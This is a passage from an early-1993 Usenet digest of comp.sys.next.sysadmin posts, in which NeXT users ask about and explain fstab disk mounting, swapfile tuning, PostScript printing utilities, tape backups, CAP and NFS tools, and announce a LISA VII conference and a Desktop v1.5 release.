complaining that there is no "open dbm" (for the user?). Does anyone have
a clue why this would fail?
John Price-Wilkin
jpw@virginia.edu
From: alves@calvin.usc.edu (William Alves)
Newsgroups: comp.sys.next.sysadmin
Subject: Preventing Optical Disc Ejection
Date: 22 Jan 1993 15:40:42 -0800
Organization: University of Southern California, Los Angeles, CA
Message-ID: <1jq0lqINN15h@calvin.usc.edu>
I teach a class for which we have a single stand-alone NeXT running
OS 2.1. Security in the room with the NeXT is handled through a key
sign-out procedure. Otherwise the students are unsupervised. Because
of disk space limitations, I would like to have an optical disc mounted
at all times. But because of the size, portability, and (now) expense
of the optical discs, I am afraid that a student could easily walk out
with it. So:
Is there any way to prevent disc ejection for users without root access?
Preferably, I would like to prevent it both from the Workspace menu as
well as the Terminal. If not, is there something that can be done to
physically prevent the disc from ejecting? Thanks for your help.
Bill Alves
From: rawyatt@koh-sun8.usc.edu (Robert Alexander Wyatt)
Newsgroups: comp.sys.next.sysadmin
Subject: Display PostScript Book
Date: 22 Jan 1993 17:10:22 -0800
Organization: University of Southern California, Los Angeles, CA
Distribution: world
Message-ID: <1jq5tuINN3m5@koh-sun8.usc.edu>
Has anyone used/read Abode's book (published by Addison Wesley) on
Display PostScript programming on NeXT? Any impressions?
Thanks!
-Rob
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From: bjorn@sysadmin.com (Bjorn Satdeva)
Subject: Call For Papaers: USENIX LISA VII System Administration Conference
Message-ID: <1993Jan23.231447.16231@sysadmin.com>
Organization: /sys/admin, inc.
Date: Sat, 23 Jan 93 23:14:47 GMT
ANNOUNCEMENT/CALL FOR PARTICIPATION
7th USENIX SYSTEMS ADMINISTRATION CONFERENCE (LISA VII)
November 1-5, 1993
Marriott Hotel
Monterey, California
The annual LISA conference provides a forum in which system administrators meet
to share ideas and experiences. A growing success for the past six years, LISA
is the only conference which focuses specifically on the needs of system
administrators. Its scope includes system administrators from sites of all
sizes and configurations.
TUTORIAL PROGRAM
Monday and Tuesday, November 1-2, 1993
The two-day tutorial program at LISA VII is divided into three tracks with a
total of twelve half-day tutorials. Attendees may move between tracks,
choosing
which sections most interest them. Tutorials offer expert instruction in areas
of interest to system administrators, novice through experienced. Topics are
expected to include Networking, Programming in Perl, X and the Administrator,
the Domain Name System, Sendmail, and more.
TECHNICAL SESSIONS
Wednesday through Friday, November 3-5, 1993
"The Human Aspect of UNIX System Administration" is the theme of the first
track
of the conference technical sessions. Although papers of a more traditional
technical content are also very welcome, the committee is especially seeking
papers on areas such as creating policies and procedures, interacting with
management and/or users, or which describe and evaluate methods aimed at
improved communication with users and/or management. We are interested in
papers which provide freely available or fully described solutions to existing
problems.
The second track of the conference technical sessions will be split between
presentations on very large installation system administration and
presentations
of practical, experience-derived material of special interest to new system
administrators.
No simple measure defines "large installation." It could be number of hosts,
number of users, size of network, amount of on-line storage, or some
combination
of these. The only certainty is that today's large will be tomorrow's
standard.
We wish to hear from sites which have unique problems and solutions relating to
the management of large installations. We seek proposals for papers, panels,
mini-workshops, or similar presentations for this track.
We also seek papers, mini-workshops, or panel presentations of pragmatic
material from experienced system administrators who wish to share their
experiences, hardships and solutions. It is hoped that administrators at all
levels can leverage this track to solve specific problems at their site.
VENDOR DISPLAY
Wednesday, November 3, 1993, 5 pm - 9 pm
Well informed vendor representatives will demonstrate products and services
useful to system and network administration at the informal table-top display
accompanying the LISA Conference. If your company would like to participate,
please contact Cynthia Deno at (408) 335-9445, FAX (408 335-2163, E-mail:
cynthia@usenix.org
CONFERENCE TOPICS
The technical sessions program may include invited talks, panels,
Works-In-Progress (WIP) reports, and Birds-Of-a-Feather (BOF) sessions,
alongside the refereed paper presentations. The program committee invites you
to submit informal proposals, ideas, or suggestions on any of the following or
related topics:
Implementation, usage, and strategies for Policies and Procedures
Effects of improved communication with users and/or management.
Tricks in user education
How to develop Junior System Administrators
System Security Monitoring
Security issues, especially where multiple people are privileged users
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From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Subject: Re: Printing Postscript files 2 to a page
Message-ID: <HARDY.93Jan22214900@golem.ps.uci.edu>
In-reply-to: garity@MATH.ORST.EDU's message of 22 Jan 93 17:12:56 GMT
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
References: <1jp9upINNn5c@gaia.ucs.orst.edu>
Date: 23 Jan 93 05:48:53 GMT
1. psnup is available on the NeXT too.
2. A better program is quarto (found on the archives), which allows
you to print 2, 4, 8, ... pages to a page. I often do:
dvips -f <file> | quarto -2b | lpr to get 2-to-a-page TeX output.
--
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Date: Fri, 22 Jan 1993 22:01:48 -0500
From: David Apfelbaum <da0g+@andrew.cmu.edu>
Subject: Boot option question?
Does anyone out there know the boot option to enable the "pretty
graphics" during booting (instead of all the useful bootup information)?
(I have a friend who doesn't appreciate the information as much as I
do... ;-)
I assume it's a boot-option stored in the non-volatile memory, as
changing the mother-board resets it.
Alternatively, does anyone have a man page for fbshow?
Thanks,
-David.
da0g+@andrew.cmu.edu
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: NeXTs running 3.0 *probably* cannot swap to a raw partition
In-Reply-To: barry@ictv.com's message of Thu, 21 Jan 1993 19:50:03 GMT
To: barry@ictv.com (Barry Lustig)
Message-ID: <CEDMAN.93Jan21153237@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
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References: <1993Jan21.195003.6023@ictv.com>
Date: Thu, 21 Jan 1993 19:32:36 GMT
In article <1993Jan21.195003.6023@ictv.com> barry@ictv.com (Barry Lustig) writes:
There has been speculation recently about whether a NeXT can swap to
a raw partition or not. I decided to do a little research on this
point and found out that you cannot. The reason for this should be
clear from the following:
Current directory is /
Reading symbol data from sdmach...
(no debugging symbols found)...done.
(gdb) disassemble swapon
Dump of assembler code for function swapon:
0x4068288 <swapon>: rts
End of assembler dump.
(gdb)
NeXT removed the code for the swapon system call from the kernel.
They would have made life a lot easier for people if they also removed
the call from the system library.
Not quite so fast. All you found out that the BSD system call to
enable swaping is a dummy call. From that one might conclude that the
NeXT can not swap at all just as quickly as that it can not swap to a
raw partition. Fortunately that is not so as virtual memory is one of
the system services which is provided by Mach through the mach_swapon
system call and not BSD on a NeXT. And mach_swapon is _not_ a dummy
call. Careful analysis of this call and its subroutines might reveal
that indeed it is impossible to swap to a raw partition (as I believe
it is). This analysis is left as an exercise to the reader.
Carl Edman
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt)
Newsgroups: comp.sys.next.sysadmin
Subject: Basic Swapfile Questions...
Date: 23 Jan 1993 01:41:07 -0800
Organization: University of Southern California, Los Angeles, CA
Distribution: world
Message-ID: <1jr3rjINNf7l@phakt.usc.edu>
Another swapfile question...
Actually, I'm going to insult all of the NeXT geniuses and ask...
What exactly is a swapfile and why do I have it? I know that it gets bigger
and bigger...how can I wipe it out? Is there a terminal command? Can I
simply erase it?
I have limited disk space...my swapfile is 16MB and my swapfile.front is
37MB...what's the difference between the two? what are their purposes?
That 50+ Meg sure could come in handy...(even a fraction of it...)
Thanks a lot! Please email or post any responses!
Later,
Rob
rawyatt@scf.usc.edu
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt)
Newsgroups: comp.sys.next.sysadmin
Subject: Basic RenderMan Questions...
Date: 23 Jan 1993 01:41:29 -0800
Organization: University of Southern California, Los Angeles, CA
Distribution: world
Message-ID: <1jr3s9INNf8e@phakt.usc.edu>
References: <1jr3rjINNf7l@phakt.usc.edu>
Since I am on a roll tonight in posting questions, I'll finish up with a
RenderMan post...
Actually, I'm not sure what in the heck I'm doing, so I hope someone can
give me a hand...(or at least some advice...)
How do I set up my system as a renderer? I am using a stand-alone system
at home...no networks or anything like that...what does the RenderManager
app do? Whenever I try to use it, everything is grayed out and I can't make
any selections...do I have to have Release 3 extended installed to use
rendering?
Any advice, help, etc. would be great!
Thanks a lot! Please email or post any responses!
Later,
Rob
rawyatt@scf.usc.edu
From: bpp@infoserv.com (Jonathan E. Ganz)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help with MaxStream Tape Unit
Keywords: tape backup MaxStream Maynard Archive
Message-ID: <VLJTXB1w163w@bpp>
Date: Fri, 22 Jan 93 23:21:06 PST
Distribution: world
Organization: Blank Page Productions
Path: bpp
From: bpp@infoserv.com (Jonathan E. Ganz)
Newsgroups: comp.sys.next.admin
Subject: need help with tape drive
Keywords: Maxstream tape drive tar dump
Message-ID: <a7wHXB1w163w@bpp>
Date: Sat, 16 Jan 93 16:42:57 PST
Distribution: world
Organization: Blank Page Productions
Hi,
I'm trying to back up to a MAXSTREAM 250Q and nothing
seems to work. I tried tar -c ./etc and got the error:
/dev/rxt0: I/O error. Then I tried the dump command --
dump 0u ./etc and got the error: bad sblock magic number.
Can some kind UNIX expert tell me what to do or suggest
something? I tried more /dev/rxt0 and the light on the
drive came on... I don't know if that makes any difference.
Please reply to me and I'll summarize if there is interest.
Please, please help!
Thanks in advance!!
Jonathan
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From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: pcnfsd on the NeXT (3.0)
Message-ID: <C1BCHB.I9t@newcastle.ac.uk>
Date: 23 Jan 93 15:31:59 GMT
Organization: University of Durham
I am looking to get a running pcnfsd (latest version is 4.03c or something I think) for
the NeXT. I've got a version compiled and apparently running, but no PC's are able to
mount the drives that I'm exporting (but true nfs machines can).
Help appreciated!
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EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
SUN Computers: "Nice chips, shame about her OS"
"If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Re: Printing Postscript files 2 to a page
Keywords: Postscript, psnup
Message-ID: <63650@mimsy.umd.edu>
Date: 23 Jan 93 17:01:34 GMT
References: <1jp9upINNn5c@gaia.ucs.orst.edu>
Sender: news@mimsy.umd.edu
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Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
In article <1jp9upINNn5c@gaia.ucs.orst.edu> garity@MATH.ORST.EDU (Dennis Garity) writes:
> On the Sun part of our system, we have a command, psnup,
> which takes a postscript file consisting of many pages
> and prints it 2, 4, or 8 pages to one page.
psnup comes with NeXT computers along with pslpr, pscat, enscript and other ps utilities.
they have man pages and they seem to work.
there is also a nice utility on the archives named quarto for this sort of thing.
I agree it would be nice if Preview would let you change the layout this way.
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From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: hard drive mounting (This should really be a FAQ!!!)
Date: 23 Jan 1993 17:42:56 GMT
Organization: University of Houston
Message-ID: <1js030INN4d4@menudo.uh.edu>
References: <1993Jan22.192914.11041@muddcs.claremont.edu>
In article <1993Jan22.192914.11041@muddcs.claremont.edu>
greg@donald.claremont.edu (Tigger) writes:
#Okay. We finally bought a reasonable size external SCSI disk to
supplement
#the little 105 that came with our NeXTstation. We installed NextStep on
it
#and are now booting from it. So far, so good.
#
#Now I would like to reuse the 105 for something else. I have several
ideas,
#but they all require that the disk mount into the Unix filesystem
somewhere
#other than at the / level. Basically, I would like to override whatever
is
#automatically mounting the sucker as /diskname and mount it somewhere
else
#like I would do with any other Unix system.
#
#If this is in a FAQ file somewhere, or in the NextStep 2.x manuals (we
don't
#have the 3.0 docs yet, just the OS), by all means please just point me in
#the right direction. Otherwise, if someone could be kind enough to tell
me
#how to do this via e-mail, I will be happy to summarize to the group.
#
#Thanks.
#
#--
#Greg Orman
greg@pomona.claremont.edu
#Systems Manager NeXTmail:
greg@donald.claremont.edu
#Seaver Academic Computing Services
#Pomona College Standard disclaimer-type
stuff
Put the drive information in /etc/fstab as follows:
I assume that your external drive is SCSI device 0 and your interal is
SCSI device 1 (default address for internal HD in NeXTStations).
If you use "bsd" to boot, then the NeXT will boot from the first SCSI
device it finds, which would be the external drive since it has a lower
id. The first SCSI device is /dev/(r)sd0a. The second is /dev/(r)sd1a.
The third is /dev/(r)sd2a and so on. The second partion of the second
device is /dev/(r)sd1b...
If you look in your /etc/fstab you should see something like the following
(the one below is from my workstation):
#
# DO NOT DELETE THIS FILE, IT IS REQUIRED FOR BOOTING
#
# This file contains information used to mount local hard disks.
# Consult your system administration and networking manual
# for information on adding local disks. Information on the format
# of entries in this file can also be found in the fstab man page,
# search for fstab in Digital Librarian.
#
/dev/sd0a / 4.3 rw,noquota,noauto 0 1
#/dev/sd1a /CD-Rom 4.3 ro,noquota 1 2
The lines beginning with a # are comments are are ignored. The line
/dev/sd0a tells unix to mount the device /dev/sd0a (first SCSI device
found) as / which is the root level and that it is a 4.3bsd filesystem,
with read and write, no quotas and do not automount it.
Add a line like
/dev/sd1a /desired/path 4.3 rw,noquota 1 2
to your /etc/fstab and the internal disk will be mounted at /desired/path.
Btw, the line with
#/dev/sd1a /CD-Rom 4.3 ro,noquota 1 2
shows how I would mount a NS3.0 CD-Rom for exporting to the cluster (you
must mount it READONLY!!).
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Preventing Optical Disc Ejection
Date: 23 Jan 1993 17:45:05 GMT
Organization: University of Houston
Message-ID: <1js071INN4gk@menudo.uh.edu>
References: <1jq0lqINN15h@calvin.usc.edu>
In article <1jq0lqINN15h@calvin.usc.edu> alves@calvin.usc.edu (William
Alves) writes:
#I teach a class for which we have a single stand-alone NeXT running
#OS 2.1. Security in the room with the NeXT is handled through a key
#sign-out procedure. Otherwise the students are unsupervised. Because
#of disk space limitations, I would like to have an optical disc mounted
#at all times. But because of the size, portability, and (now) expense
#of the optical discs, I am afraid that a student could easily walk out
#with it. So:
#
#Is there any way to prevent disc ejection for users without root access?
#Preferably, I would like to prevent it both from the Workspace menu as
#well as the Terminal. If not, is there something that can be done to
#physically prevent the disc from ejecting? Thanks for your help.
#
#Bill Alves
Yes. Have unix mount the drive during the boot process. You can do this
by placing the proper information about the disk in the file /etc/fstab.
Please see an earlier article "Re: hard drive mounting" that I just
posted. It should also apply to Optical disks.
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
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Subject: Re: Basic Swapfile Questions...
Message-ID: <SCOTT.93Jan23113424@nic.gac.edu>
From: scott@nic.gac.edu (Scott Hess)
Date: 23 Jan 93 11:34:24
References: <1jr3rjINNf7l@phakt.usc.edu>
Distribution: world
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In-reply-to: rawyatt@phakt.usc.edu's message of 23 Jan 1993 01:41:07 -0800
In article <1jr3rjINNf7l@phakt.usc.edu>
rawyatt@phakt.usc.edu (Robert Alexander Wyatt) writes:
>Actually, I'm going to insult all of the NeXT geniuses and ask...
>What exactly is a swapfile and why do I have it? I know that it
>gets bigger and bigger...how can I wipe it out? Is there a terminal
>command? Can I simply erase it?
In essence, swapfile is the memory that you can't afford to buy. The
swapfile is the "where" of virtual memory, so when your on-board
memory is full and you tell your machine that you want to launch
something else, it has to put what is already in memory somewhere else
so that the new program can be loaded. So on my 32M machine, for
instance, I might go a week without the swapfile rising above my 12M
lowat mark (see below), mainly because most "normal" programs run fine
in 32M (monochrome development system - your mileage will vary if you
use color or Mathematica :-).
In other words, _don't_ wipe it out. You don't want to, and really
really bad things will happen if you do, with programs running out
of memory and crashing all over the place for no _apparent_ reason.
What you should do is edit the entries in /etc/swaptab so that your
lowat is set to a lower number, so that on reboot you reclaim some
space. For instance, one of these lines:
/private/vm/swapfile lowat=8388608 # 8 Meg low water mark
/private/vm/swapfile lowat=12582912 # 12 Meg low water mark
/private/vm/swapfile lowat=20971520 # 20 Meg low water mark
# ^^^^ this is a tab^^
The tabs _are_ important. The third line is the default low water
mark.
Note that some people are going to describe methods of deleting
the files via rm. Do _not_ do this. At build time, the NeXT
utilities allocate all of the disk space for the swapfile in more
or less contiguous areas, which means that swapfile can be read
from and written to faster than if you just placed the blocks in
an on-demand fashion. So, you are far better off to adjust the
lowat mark to an acceptable value, in which case the first lowat
bytes of swapfile will be fast. If you delete it and then recreate
it empty, you'll find that your system _will_ become slower when
you start biting into the swapfile, possibly significantly slower
if you don't have much disk space to work with (BSD FFS does better
with more free areas to work with). You can reallocate space using
the mkfile command, but unfortunately there is no time quite as
good as build-time to do this ...
>I have limited disk space...my swapfile is 16MB and my swapfile.front
>is 37MB...what's the difference between the two? what are their
>purposes? That 50+ Meg sure could come in handy...(even a fraction
>of it...)
swapfile and swapfile.front are two views of one and the same file.
So, you've really only "lost" 16M.
Later,
--
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12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.misc,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Drive drive
Message-ID: <1993Jan23.194204.15246@macc.wisc.edu>
Followup-To: comp.sys.next.misc
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
Date: Sat, 23 Jan 93 19:42:04 GMT
Note_1: Followups directed to comp.sys.next.misc, to keep
subsequent discussion in one place. Sorry for the massive
cross-posting, wanted to reach the maximum readership.
Note_2: An earlier posting about this already appeared in
comp.sys.next.misc. This is a restatement and expansion of
that.
Background: Several people have suggested solving the
archive server space crunch by asking users to kick in money
to purchase additional drives for sonata and orst. I've
volunteered to collect pledges and to contact Purdue and
Oregon State to see what they think of the idea. I'll do
that at the beginning of next week. Five people pledged
money in the first hour, six counting me. The amounts so
far are like $10-$20 for each server site.
Respondents so far think it's a cool idea and are making
other useful suggestions too.
I'll also be contacting vendors to see if they can make us a
special deal, if things develop to the point when it looks
like it might work.
I'm not collecting money (not yet, anyway), so don't send
any. If you're interested in this, just send me email
(rather than posting, I might miss it) with the amount of
your pledge. If you're a developer who has or intends to
have your software on these servers, please indicate your
product names as well.
Although this seems to be an idea whose time has come,
please be aware that the universities involved might not be
as enthusiastic about it as we are. There are always
bureaucracies, policy implications, and hidden costs to be
involved in such enterprises, as well I know, having worked
at universities for 40 years.
But don't let those things stop you from offering. One
thing: please don't make a pledge unless you mean it. In
the interest of not getting myself overloaded, I will send
you a simple ACK to say I got your message.
--
[Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin]
[Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson]
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From: henry@trilithon.mpk.ca.us (Henry McGilton)
Subject: Re: Display PostScript Book
Message-ID: <1993Jan23.173231.23571@trilithon.mpk.ca.us>
Sender: henry@trilithon.mpk.ca.us
Organization: Trilithon Software
References: <1jq5tuINN3m5@koh-sun8.usc.edu>
Date: Sat, 23 Jan 1993 17:32:31 GMT
In article <1jq5tuINN3m5@koh-sun8.usc.edu> writes:
* Has anyone used/read Abode's book (published by Addison Wesley) on
* Display PostScript programming on NeXT? Any impressions?
Yes -- it's a very good book. It is in fact a gathering together of
a series of technical papers on various topics of Display PostScript,
such as when to use user objects, when to use user paths, when to
use fonts versus drawing objects individually, and so on. The
book provides valuable insights into optimum ways to do things.
........ Henry
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Preventing Optical Disc Ejection
Message-ID: <18109@umd5.umd.edu>
Date: 23 Jan 93 22:13:13 GMT
References: <1jq0lqINN15h@calvin.usc.edu> <1js071INN4gk@menudo.uh.edu>
Sender: news@umd5.umd.edu
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In article <1js071INN4gk@menudo.uh.edu> sears@uh.edu writes:
>Yes. Have unix mount the drive during the boot process. You can do this
>by placing the proper information about the disk in the file /etc/fstab.
>Please see an earlier article "Re: hard drive mounting" that I just
>posted. It should also apply to Optical disks.
This is good only from the logical standpoint. All it takes is a long, thin
object and the OD can be made to eject physically. Same goes for CD ROMs,
which I found out much to my dismay (the NeXT gets *really* *confused* when
you eject a disk without telling it). Plugging the appropriate hole/button
with some key-based removable object is the only way I can think of to do
that. Either that or something similar to fire alarms -- you can pull it,
but you get sprayed with lots o' nasty white stuff too. <evil grin>
>Paul S. Sears
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
To err is human, to moo bovine.
From: da0g+@andrew.cmu.edu (David Apfelbaum)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Boot option question?
Message-ID: <sfMPz_G00WA7AZyg5A@andrew.cmu.edu>
Date: 23 Jan 93 11:59:38 GMT
Article-I.D.: andrew.sfMPz_G00WA7AZyg5A
Organization: Sponsored account, Mathematics, Carnegie Mellon, Pittsburgh, PA
Thank you all!
The correct answer was to use the 'p' command in the ROM monitor mode
and disable the "verbose boot" option.
Thanks again for that quick response....
-David.
From: pkron@corona.wa.com (Peter Kron)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Great book on NFS Sysadmin
Message-ID: <17.UUL1.3#16216@corona.wa.com>
Date: Sat, 23 Jan 93 06:05:59 PDT
References: <C19JBD.n21@ux1.cso.uiuc.edu>
Organization: Corona Design, Inc., Seattle, WA
> From: lemson@ux1.cso.uiuc.edu (David Lemson)
> Message-ID: <C19JBD.n21@ux1.cso.uiuc.edu>
>
> CCGREG@mizzou1.missouri.edu (Greg Johnson) writes:
>
> >I just ran across a book that I wish I had seen much earlier. It not only
> >describes how NFS works, but is loaded with diagnostic and problem-solving
> >tips. The NIS material if not useful at least makes me feel more
> >appreciative of NetInfo. The book is:
> >
> >_Managing_NFS_and_NIS_, by Hal Stern, O'Reilly & Associates, Inc. Copyright
> >1991, reprinted April 1992 with minor corrections. ISBN 0-937175-75-7.
>
> I have this book and highly recommend it as well, but I read in OS
> Today recently that he is going to issue a new edition sometime this
> year that will cover NIS+. No big deal to most NeXT people but if
> you have to manage (gag) Solaris systems, be on the lookout for it.
I haven't seen this book, but have several others in the O'Reilly series,
(with a few more on the wish list). I recommend them all. Anyone new
to UNIX (or just mystified) should check them out.
---------------
Peter Kron
Corona Design, Inc.
Peter_Kron@corona.wa.com
Newsgroups: comp.sys.next.sysadmin
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Installing off CD ROM in a non-default directory
Message-ID: <1993Jan24.031703.25838@news.csuohio.edu>
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
Date: Sun, 24 Jan 1993 03:17:03 GMT
Is there an easier way to install NextCD software packages off the CD-ROM
for installing NS 3.0 and be able to place the programs in a place other
than ("/") the root, aside from copying the relevant software
installer.pkg into a writable disk and directory and then changing the
file_to_install.info file so that it allows you to install in a
user-selectable space?
Thanks,
Joe
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library joer@inca.law.csuohio.edu
| "We look for things ... to make us go!"
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From: bee@watarts.uwaterloo.ca (Bill E. Eickmeier)
Subject: CAP under NeXTstep 3.0
Message-ID: <C1E4qK.2CA@watserv2.uwaterloo.ca>
Keywords: CAP NeXT NeXTstep
Sender: news@watserv2.uwaterloo.ca
Organization: University of Waterloo
Date: Mon, 25 Jan 1993 03:37:31 GMT
Does CAP compile and work under NeXTstep 3.0? I'd appreciate any
success stories or failures which people might think are worth
mentioning...
Thanks,
Bill
Bill E. Eickmeier, bee@watarts.uwaterloo.ca
Department of Psychology, University of Waterloo, Waterloo, Ontario, N2L 3G1
room: PAS 1102 phone: 519-885-1211 x6638 fax: 519-746-8631
Newsgroups: comp.sys.next.sysadmin
From: barry@ictv.com (Barry Lustig)
Subject: Re: NeXTs running 3.0 *probably* cannot swap to a raw partition
Message-ID: <1993Jan25.074420.16279@ictv.com>
Sender: usenet@ictv.com
Organization: ICTV, Santa Clara, CA (408) 562-9200
References: <1993Jan21.195003.6023@ictv.com> <CEDMAN.93Jan21153237@capitalist.princeton.edu>
Date: Mon, 25 Jan 1993 07:44:20 GMT
In article <CEDMAN.93Jan21153237@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes:
Not quite so fast. All you found out that the BSD system call to
enable swaping is a dummy call. From that one might conclude that the
NeXT can not swap at all just as quickly as that it can not swap to a
raw partition. Fortunately that is not so as virtual memory is one of
the system services which is provided by Mach through the mach_swapon
system call and not BSD on a NeXT. And mach_swapon is _not_ a dummy
call. Careful analysis of this call and its subroutines might reveal
that indeed it is impossible to swap to a raw partition (as I believe
it is). This analysis is left as an exercise to the reader.
Carl Edman
As I mentioned to Carl in a mail message, I did look at mach_swapon
as well. As far as I can tell, mach_swapon uses the vnode pager code.
This provides for paging to a file, not to a raw device.
One can also look at the virtual memory sub-system of 386bsd or
Berkeley net-2. Both of them use the mach virtual memory system.
barry
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From: bwild@fzi.de
Subject: Re: CAP under NeXTstep 3.0
Message-ID: <1993Jan25.072734.23701@fzi.de>
Sender: news@fzi.de (FZI-news)
Organization: FZI Forschungszentrum Informatik, Karlsruhe, Germany
References: <C1E4qK.2CA@watserv2.uwaterloo.ca>
Date: Mon, 25 Jan 1993 07:27:34 GMT
In article <C1E4qK.2CA@watserv2.uwaterloo.ca> bee@watarts.uwaterloo.ca (Bill E.
Eickmeier) writes:
>
> Does CAP compile and work under NeXTstep 3.0? I'd appreciate any
> success stories or failures which people might think are worth
> mentioning...
>
> Thanks,
> Bill
>
> Bill E. Eickmeier, bee@watarts.uwaterloo.ca
> Department of Psychology, University of Waterloo, Waterloo, Ontario, N2L 3G1
> room: PAS 1102 phone: 519-885-1211 x6638 fax: 519-746-8631
We have CAP 6.0 running on our NeXTs under 2.1 and 3.0 without any problems. In
contrast to the Appleshare client software of NeXT which is part of NS3.0 the
CAP package exhibits a very good stability and reasonable performance. After
the porting of Adobe LaserWriter fonts from Mac to NeXT via Metamorphosis we
can even use the NeXT laser printer without any problems. The only prerequisite
is an Appletalk/Internet gateway (e.g. Kinetics FastPath or Cayman Gatorbox)
because the NeXT version of CAP doesn't support EtherTalk, i.e. the direct
integration of Macs with Ethernet cards and NeXTs.
Bernd Wild
===============================================
Bernd Wild
Forschungszentrum Informatik FZI
Dept. Technical Expert Systems and Robotics
Haid-und-Neu-Strasse 10-14
D-7500 Karlsruhe GERMANY
Tel: +49-721-9654-310
Fax: +49-721-9654-309
email: bwild@fzi.de
===============================================
Newsgroups: comp.sys.next.sysadmin
From: sieu@cory.Berkeley.EDU ( TECKCHENG SIEU)
Subject: UPDATE: DESKTOP V1.5
Message-ID: <1993Jan25.091126.6633@pasteur.Berkeley.EDU>
Sender: sieu@cory.berkeley.edu
Organization: University of California, at Berkeley
Date: Mon, 25 Jan 1993 09:11:26 GMT
Hi Everyone,
Firstly, thanks for all who have contributed their suggestions to improve
Desktop v1.5 is now due for release. Although Desktop v1.1 provides
virtual screens, free form dock and advanced features to support the concepts
of virtual screen and free form dock, there is still room for improvement.
So, Desktop v1.5 is released as a compilation of new ideas contributed by a
few NeXT users and myself.
All the functions of Desktop v1.5 are fully enabled for a period of time so
that NeXT users have a chance to see how helpful Desktop can be and where it
stands when compared to product like Virtspace 3.0.
Below are the features of Desktop v1.0, Desktop v1.1 and Desktop v1.5
Features of Desktop v1.0
========================
- Desktop provides four virtual screens with one being the active screen
at any one time.
- Desktop automatically switches from the current screen to the correct
virtual screen that contains the window that you need. Alternatively, you
can ask Desktop to move that window to your current screen instead.
- Desktop offers a number of operations on any window, eg. floating a
window so that the window will always appear in the active screen, raising a
window, sending a window to any of the virtual screens etc.
- Besides window management, Desktop also manages the application icons
that are created by Workspace when you launch any application. These
application icons can become misaligned or buried under other windows
sometimes. With Desktop, you can tidy the icons, hide them, unhide them or
place them in front of other windows etc.
- Desktop offers its free-form dock that can be comprised of application
icons, folder icons and even data file icons. In fact, the dock can be made
up of just any type of icons that appear in the file browser. The status of
each Desktop dock icon is reflected by the three little dots just like any
NeXT dock icon (this is applicable to application icons only). For other
types of Desktop icons, eg. directory icon, a big dot appears on the lower
left corner instead of the three dots to indicate that Desktop will not keep
track of the status for this icon. Of course, the user-customizable Desktop
dock can be edited and saved for future Desktop session.
- Desktop offers a new input method like that of a X-window manager.
Desktop has the miniaturization of the four virtual sceens in the Desktop
Window. However, this does not mean that whenever you need to perform an
operation on a window eg. to move a window from one screen to another, you
have to drag the miniature view of that window in the Desktop Window. This
can be inconvenient.
Instead, just move the mouse to the window (the actual window, not the
miniature view). Then hold down the "Alternate" key first before moving the
mouse. The WindowOp/NeXTApp Icon/Desktop Icon submenu will pop up depending
on whether the window is really a normal window, a NeXT app icon or a Desktop
icon. You can then pick the desired operation from the menu.
- If the machine workload is heavy, adjust the refresh rate accordingly or
even turn it off. Click on the Update button at the Desktop window to
manually update the display of the windows.
Features of Desktop v1.1
========================
In addition to the above-mentioned features, Desktop1.1 has the following new
features:
- Desktop 1.1 consumes little CPU power, yet peforms operations faster than
Desktop 1.0.
- Auto Flip Screen feature for automatically switching to the correct
screen when you drag a window beyond the boundary of the active screen. This
feature can be conveniently disabled for individual window-dragging sessions
if necessary.
- 2 new icon features:
i) Auto-tidy icons for aligning icons neatly at the bottom of the
screen at all times.
ii) Group icons for grouping icons by application that owns these
icons.
- Popup submenu can be disabled if it causes interference by other
programs.
Features of Desktop v1.5
========================
In addition to the above-mentioned features, Desktop v1.5 has the following
new features:
- DesktopIcons can be autoLaunched like the NeXT dock.
- Intuitive, practical and nice user-interface:
pretty icons and slim palette
You can now forget about the Desktop Window. The slick-looking palette is
